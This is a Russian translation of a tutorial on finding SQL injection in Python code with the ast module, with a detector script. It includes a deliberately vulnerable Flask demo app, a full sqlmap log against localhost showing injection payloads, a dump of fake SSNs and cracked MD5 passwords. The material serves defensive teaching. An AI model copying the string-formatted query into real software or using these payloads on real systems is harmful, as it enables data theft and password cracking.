Обнаружение SQL-инъекций в коде Python с использованием AST
Python имеет встроенный модуль ast, который позволяет просматривать, анализировать и редактировать код Python. AST сокращение от abstract syntax tree (абстрактное синтаксическое дерево), структура данных, которая позволяет легко анализировать, проверять и редактировать код языка программирования.
При работе с абстрактными деревьями вам не нужно беспокоиться о синтаксисе языка программирования. Абстрактные деревья представляют отношения между объектами, операторами и выражениями языка.
В этой статье приведен реальный пример того, как вы можете использовать этот модуль для обнаружения уязвимостей SQL-инъекций в коде Python.
Введение в SQL-инъекции
SQL инъекции — это метод внедрения кода, который позволяет злоумышленнику вставить или изменить SQL-запрос в плохо спроектированном приложении.
Чтобы продемонстрировать эту атаку, я написал простое веб-приложение с использованием flask:
import sqlite3 import hashlib from flask import Flask, request app = Flask(__name__) def connect(): conn = sqlite3.connect(':memory:', check_same_thread=False) c = conn.cursor() c.execute("CREATE TABLE users (username TEXT, password TEXT, rank TEXT)") c.execute("INSERT INTO users VALUES ('admin', 'e1568c571e684e0fb1724da85d215dc0', 'admin')") c.execute("INSERT INTO users VALUES ('bob', '2b903105b59299c12d6c1e2ac8016941', 'user')") c.execute("INSERT INTO users VALUES ('alice', 'd8578edf8458ce06fbc5bb76a58c5ca4', 'moderator')") c.execute("CREATE TABLE SSN(user_id INTEGER, number TEXT)") c.execute("INSERT INTO SSN VALUES (1, '480-62-10043')") c.execute("INSERT INTO SSN VALUES (2, '690-10-6233')") c.execute("INSERT INTO SSN VALUES (3, '401-09-1516')") conn.commit() return conn CONNECTION = connect() @app.route("/login") def login(): username = request.args.get('username', '') password = request.args.get('password', '') md5 = hashlib.new('md5', password.encode('utf-8')) password = md5.hexdigest() c = CONNECTION.cursor() c.execute("SELECT * FROM users WHERE username = ? and password = ?", (username, password)) data = c.fetchone() if data is None: return 'Incorrect username and password.' else: return 'Welcome %s! Your rank is %s.' % (username, data[2]) @app.route("/users") def list_users(): rank = request.args.get('rank', '') if rank == 'admin': return "Can't list admins!" c = CONNECTION.cursor() c.execute("SELECT username, rank FROM users WHERE rank = '{0}'".format(rank)) data = c.fetchall() return str(data) if __name__ == '__main__': app.run(debug=True)
Чтобы запустить это приложение, выполните следующие команды:
$ pip install flask $ python webapp.py
Мое веб-приложение имеет две конечные точки (URL): login и список пользователей (users). Для простоты обе конечные точки работают с параметрами GET.
Вот несколько URL-адресов, которые вы можете попробовать при локальном запуске этого приложения:
http://localhost:5000/login?username=admin&password=l33t http://localhost:5000/login?username=admin&password=wrong_pass http://localhost:5000/users?rank=user http://localhost:5000/users?rank=admin
Первая конечная точка регистрирует пользователя и защищена от атак внедрения SQL, поскольку она использует привязку параметров (подготовленные операторы). При подготовке запроса механизм SQLite кодирует и экранирует такие переменные, если это необходимо.
Вторая конечная точка выводит список всех пользователей и фильтрует их по переменной rank. Вместо привязки параметров используется форматирование строк и это имеет очень серьезную уязвимость. Поскольку переменная rank не экранирована или не обработана заранее, мы можем ввести произвольный код SQL в запрос.
Добавив оператор OR, мы можем перечислить всех пользователей и обойти ограничение списка для категории администраторов:
Это один из самых простых типов SQL инъекции, который позволяет вывести любую таблицу за один запрос:
Даже если на странице ничего не отображается из результата запроса, все равно возможно получить данные с уязвимого веб-сайта. Одним из методов, которые могут извлекать данные из таких запросов, является слепая инъекция SQL, основанная на подсчете времени ответа.
Страшно то, что вам даже не нужно знать все техники. Sqlmap автоматизирует процесс обнаружения SQL-инъекций и может автоматически использовать самые распространенные методы SQL-инъекций. С помощью этой утилиты также можно взломать пароли баз данных!
$ sqlmap -a -u 'http://127.0.0.1:5000/users?rank=user' --dbms SQLite ___ __H__ ___ ___[)]_____ ___ ___ {1.3.4#pip} |_ -| . [.] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:43:45 /2019-04-28/ [20:43:45] [INFO] testing connection to the target URL [20:43:45] [INFO] checking if the target is protected by some kind of WAF/IPS [20:43:45] [INFO] testing if the target URL content is stable [20:43:46] [INFO] target URL content is stable [20:43:46] [INFO] testing if GET parameter 'rank' is dynamic [20:43:46] [INFO] GET parameter 'rank' appears to be dynamic [20:43:46] [INFO] heuristic (basic) test shows that GET parameter 'rank' might be injectable (possible DBMS: 'SQLite') [20:43:47] [INFO] testing for SQL injection on GET parameter 'rank' for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n] y [20:43:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:43:55] [INFO] GET parameter 'rank' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [20:43:55] [INFO] testing 'SQLite inline queries' [20:43:55] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)' [20:43:55] [WARNING] time-based comparison requires larger statistical model, please wait..................... (done) [20:43:56] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)' [20:43:56] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)' [20:44:03] [INFO] GET parameter 'rank' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable [20:44:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:44:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:44:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [20:44:03] [INFO] target URL appears to have 2 columns in query [20:44:03] [INFO] GET parameter 'rank' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'rank' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests: --- Parameter: rank (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: rank=user' AND 4660=4660 AND 'Xjyl'='Xjyl Type: time-based blind Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: rank=user' AND 4392=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'sDKi'='sDKi Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: rank=user' UNION ALL SELECT NULL,'qbbjq'||'TiNyLomYpcxzyfynNnMsfBujDZyhYgTbfjLgSgje'||'qqvbq'-- FFGj --- [20:44:09] [INFO] the back-end DBMS is SQLite [20:44:09] [INFO] fetching banner back-end DBMS: SQLite banner: '3.20.1' [20:44:09] [WARNING] on SQLite it is not possible to enumerate the current user current user: None [20:44:09] [WARNING] on SQLite it is not possible to get name of the current database current database: None [20:44:09] [WARNING] on SQLite it is not possible to enumerate the hostname hostname: None [20:44:09] [WARNING] on SQLite the current user has all privileges current user is DBA: True [20:44:09] [WARNING] on SQLite it is not possible to enumerate the users [20:44:09] [WARNING] on SQLite it is not possible to enumerate the user password hashes [20:44:09] [WARNING] on SQLite it is not possible to enumerate the user privileges [20:44:09] [WARNING] on SQLite the concept of roles does not exist. sqlmap will enumerate privileges instead [20:44:09] [WARNING] on SQLite it is not possible to enumerate the user privileges [20:44:09] [INFO] sqlmap will dump entries of all tables from all databases now [20:44:09] [INFO] fetching tables for database: 'SQLite_masterdb' [20:44:09] [INFO] fetching columns for table 'SSN' in database 'SQLite_masterdb' [20:44:10] [INFO] fetching entries for table 'SSN' in database 'SQLite_masterdb' Database: SQLite_masterdb Table: SSN [3 entries] +---------+--------------+ | user_id | number | +---------+--------------+ | 1 | 480-62-10043 | | 2 | 690-10-6233 | | 3 | 401-09-1516 | +---------+--------------+ [20:44:10] [INFO] table 'SQLite_masterdb.SSN' dumped to CSV file '.sqlmap/output/127.0.0.1/dump/SQLite_masterdb/SSN.csv' [20:44:10] [INFO] fetching columns for table 'users' in database 'SQLite_masterdb' [20:44:10] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb' [20:44:10] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [20:44:22] [INFO] writing hashes to a temporary file '/var/folders/t4/0m0twbd97ln8wwn479wyz70r0000gn/T/sqlmapkpR6bB58187/sqlmaphashes-Ksz1yj.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] y [20:44:29] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file 'sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [20:44:36] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [20:44:40] [INFO] starting dictionary-based cracking (md5_generic_passwd) [20:44:40] [INFO] starting 4 processes [20:44:49] [INFO] cracked password 'l33t' for user 'admin' [20:44:52] [INFO] cracked password 'qwerty' for user 'alice' [20:44:53] [INFO] cracked password 'h4x0r' for user 'bob' Database: SQLite_masterdb Table: users [3 entries] +-----------+----------+-------------------------------------------+ | rank | username | password | +-----------+----------+-------------------------------------------+ | admin | admin | e1568c571e684e0fb1724da85d215dc0 (l33t) | | user | bob | 2b903105b59299c12d6c1e2ac8016941 (h4x0r) | | moderator | alice | d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty) | +-----------+----------+-------------------------------------------+ [20:45:04] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '.sqlmap/output/127.0.0.1/dump/SQLite_masterdb/users.csv' [20:45:04] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 12 times [20:45:04] [INFO] fetched data logged to text files under '.sqlmap/output/127.0.0.1' [*] ending @ 20:45:04 /2019-04-28/
Есть много статей, объясняющих SQL инъекции. Если вы хотите погрузиться в это глубже, я бы рекомендовал начать с OWASP.
Обнаружение SQL-инъекций с использованием абстрактных синтаксических деревьев
Наиболее распространенная ошибка, которая приводит к SQL-инъекциям в коде Python, заключается в использовании форматирования строк в операторах SQL. Чтобы найти SQL-инъекцию в коде Python, нам нужно найти форматирование строки в вызове функции execute или executemany.
Существует как минимум три способа отформатировать строку в Python:
c.execute("SELECT username, rank FROM users WHERE rank = '{0}'".format(rank)) c.execute("SELECT username, rank FROM users WHERE rank = '%s'" % rank) c.execute(f"SELECT username, rank FROM users WHERE rank = `{rank}`")
Кроме того, я хочу отслеживать простые назначения переменных:
q = "SELECT username, rank FROM users qqqq WHERE rank = '%s'" % rank c.execute(q)
Чтобы уменьшить вероятность ложных срабатываний, нам также необходимо проверить, содержит ли аргумент оператор SQL.
Вот как выглядит детектор AST SQL-инъекций:
import ast import astor import re SQL_FUNCTIONS = { 'execute', 'executemany', } SQL_OPERATORS = re.compile('SELECT|UPDATE|INSERT|DELETE', re.IGNORECASE) class ASTWalker(ast.NodeVisitor): def __init__(self): self.candidates = [] self.variables = {} def visit_Call(self, node): # Search for function calls with attributes, e.g. cursor.execute if isinstance(node.func, ast.Attribute) and node.func.attr in SQL_FUNCTIONS: self._check_function_call(node) # Traverse child nodes self.generic_visit(node) def visit_Assign(self, node): if not isinstance(node.targets[0], ast.Name): return self.generic_visit(node) variable, value = node.targets[0].id, node.value # Some variable assignments can store SQL queries with string formatting. # Save them for later. if isinstance(value, (ast.Call, ast.BinOp, ast.Mod)): self.variables[variable] = node.value self.generic_visit(node) def _check_function_call(self, node): if not node.args: return first_argument = node.args[0] query = self._check_function_argument(first_argument) if query and re.search(SQL_OPERATORS, query): self.candidates.append(node) def _check_function_argument(self, argument): query = None if isinstance(argument, ast.Call) and argument.func.attr == 'format': # Formatting using .format query = argument.func.value.s elif isinstance(argument, ast.BinOp) and isinstance(argument.op, ast.Mod): # Old-style formatting, .e.g. '%s' % 'string' query = argument.left.s elif isinstance(argument, ast.JoinedStr) and len(argument.values) > 1: # New style f-strings query = argument.values[0].s elif isinstance(argument, ast.Name) and argument.id in self.variables: # If execute function takes a variable as an argument, try to track its real value. query = self._check_function_argument(self.variables[argument.id]) return query if __name__ == '__main__': code = open('webapp.py', 'r').read() tree = ast.parse(code) ast_walker = ASTWalker() ast_walker.visit(tree) for candidate in ast_walker.candidates: print(astor.to_source(candidate).strip())
Класс NodeVisitor является базовым классом для сканирования дерева. Каждый метод, который начинается с visit_, будет автоматически вызываться с соответствующим выражением при обходе дерева.
Для этой задачи нам нужно обработать только два выражения — Call и Assign. Первый запускается при вызове функции, а второй — при назначении переменной. Наш класс найдет все вызовы функций execute независимо от того, как код отформатирован или структурирован.
Этот скрипт производит много ложных срабатываний, но, несмотря на это, работает довольно хорошо. Очень трудно автоматически отслеживать, если переменная приходит из HTTP-запроса и может быть изменена пользователем. Поэтому каждая находка должна быть проверена человеческим глазом.
Тестирование скрипта на данных GitHub
Чтобы протестировать мой сценарий, я собрал около 100 сценариев Python с помощью поиска на GitHub и смог найти четыре репозитория, в которых есть уязвимости в SQL-инъекциях. Чтобы получить такой хороший уровень обнаружения, вам также нужно придумать подходящий поисковый запрос. Я не буду размещать его по этическим причинам :).
Есть много вещей, которые могут быть улучшены в сценарии. Например, этот запрос использует форматирование, но он не может быть использован в инъекции:
c.execute("SELECT * FROM users WHERE year_registered = {0} ".format(int(year)))
В целом, это довольно хороший результат для скрипта, написанного за один час.
Исходный код доступен на Github. Вы можете отправить мне сообщение, если найдете способы улучшить его.
Оригинальная статья: Detecting SQL injections in Python code using AST